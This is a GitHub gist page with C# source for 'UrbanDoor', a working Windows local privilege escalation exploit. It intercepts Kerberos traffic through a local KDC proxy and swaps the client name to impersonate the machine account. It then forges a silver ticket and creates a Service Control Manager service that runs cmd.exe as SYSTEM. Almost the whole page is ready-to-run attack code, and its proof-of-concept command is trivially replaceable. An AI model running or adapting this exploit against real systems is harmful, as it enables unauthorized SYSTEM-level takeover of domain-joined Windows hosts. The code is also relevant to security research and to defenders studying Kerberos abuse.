Skip to content

Instantly share code, notes, and snippets.

@Dviros
Forked from monoxgas/urbandoor.cs
Created April 18, 2023 08:50
Show Gist options
  • Save Dviros/0fe2eb270df7d3e08d2f0ea1124793e1 to your computer and use it in GitHub Desktop.
Save Dviros/0fe2eb270df7d3e08d2f0ea1124793e1 to your computer and use it in GitHub Desktop.

Revisions

  1. @monoxgas monoxgas created this gist Apr 10, 2023.
    191 changes: 191 additions & 0 deletions urbandoor.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,191 @@
    using NtApiDotNet;
    using NtApiDotNet.Ndr.Marshal;
    using NtApiDotNet.Win32;
    using NtApiDotNet.Win32.Rpc.Transport;
    using NtApiDotNet.Win32.Security.Authentication;
    using NtApiDotNet.Win32.Security.Authentication.Kerberos;
    using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client;
    using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server;
    using NtApiDotNet.Win32.Security.Authentication.Logon;
    using System;
    using System.DirectoryServices.ActiveDirectory;
    using System.Net;
    using System.Threading;


    namespace UrbanDoor
    {
    public class ModifyCNameKerberosProxy : KerberosKDCProxy
    {
    private KerberosPrincipalName _clientName;
    private KerberosAuthenticationKey _userKey;

    private KerberosPrincipalName _originalClientName = null;
    private KerberosAuthenticationKey _tgtKey = null;

    public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname)
    : base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88))
    {
    _clientName = clientName;
    _userKey = userKey;
    }

    protected override byte[] HandleRequest(byte[] outbound)
    {
    if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request))
    {
    if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ)
    {
    Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]");

    var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest;

    if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc))
    {
    var authenticator = KerberosAuthenticator.Parse(enc.CipherText);
    var authenticatorBuilder = authenticator.ToBuilder();
    authenticatorBuilder.ClientName = _originalClientName;

    var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq));

    var builder = request.ToBuilder();
    builder.PreAuthenticationData.Clear();
    builder.AddPreAuthenticationData(newPreAuth);
    builder.AddPreAuthenticationData(request.PreAuthenticationData[1]);

    outbound = builder.Create().ToArray();
    }
    else
    {
    Console.WriteLine("[!] Error decrypting with tgtKey");
    }
    }
    }

    var inbound = base.HandleRequest(outbound);

    if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply))
    {
    if (reply.MessageType == KerberosMessageType.KRB_AS_REP)
    {
    Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]");

    _originalClientName = reply.ClientName;

    if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc))
    {
    var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText);
    _tgtKey = encryptedPart.Key;

    var builder = reply.ToBuilder();
    builder.ClientName = _clientName;
    return builder.Create().ToArray();

    }
    else
    {
    Console.WriteLine("[!] Error decrypting with password");
    }
    }
    }

    return inbound;
    }
    }

    class Program
    {
    static Luid SYSTEM_LUID = new Luid(0x3E7);

    static string OUT_PATH = "C:\\windows\\lpe.txt";
    static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH;

    static void Main(string[] args)
    {
    try
    {
    if (args.Length != 1 && args.Length != 2)
    {
    throw new ArgumentException("Supply <current_password>");
    }

    string password = args[0];

    KerberosTicketCache.PurgeTicketCache(default, null, null);

    string realm = Domain.GetCurrentDomain().Name.ToUpper();
    Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid;
    string username = user_sid.GetName().Name.ToLower();
    string upn = $"{username}@{realm}";

    ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy(
    new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"),
    KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0),
    Domain.GetCurrentDomain().FindDomainController().Name
    );
    proxy.Start();

    KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0);

    var creds = new KerberosInteractiveLogonCredentials(
    new UserCredentials(username, realm, password)
    )
    {
    LogonId = SYSTEM_LUID
    };

    try
    {
    using (var handle = LsaLogonHandle.Connect())
    {
    handle.LsaLogonUser(
    SecurityLogonType.Interactive,
    AuthenticationPackage.KERBEROS_NAME,
    creds
    );
    }
    }
    catch (Exception e)
    {

    Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n");
    }


    proxy.Stop();
    KerberosTicketCache.UnpinAllKdcs();

    Client scm = new Client();
    RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512));
    security.AuthenticationLevel = RpcAuthenticationLevel.Connect;
    security.AuthenticationType = RpcAuthenticationType.Kerberos;
    security.ServicePrincipalName = $"HOST/{Environment.MachineName}";

    scm.Connect("ncacn_np", @"\pipe\ntsvcs", security);
    int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm);
    if (error != 0) throw new SafeWin32Exception(error);

    Console.WriteLine($"[+] Opened SCM: {hscm}");

    string serviceName = Guid.NewGuid().ToString();

    int? tag_id = null;
    error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess,
    (int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice);
    if (error != 0) throw new SafeWin32Exception(error);

    Console.WriteLine($"[+] Service created: {serviceName}");

    scm.RStartServiceW(hservice, 0, null);
    Thread.Sleep(250);

    Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}");
    }
    catch (Exception ex)
    {
    Console.WriteLine("[!] Error:\n");
    Console.WriteLine(ex);
    }
    }
    }
    }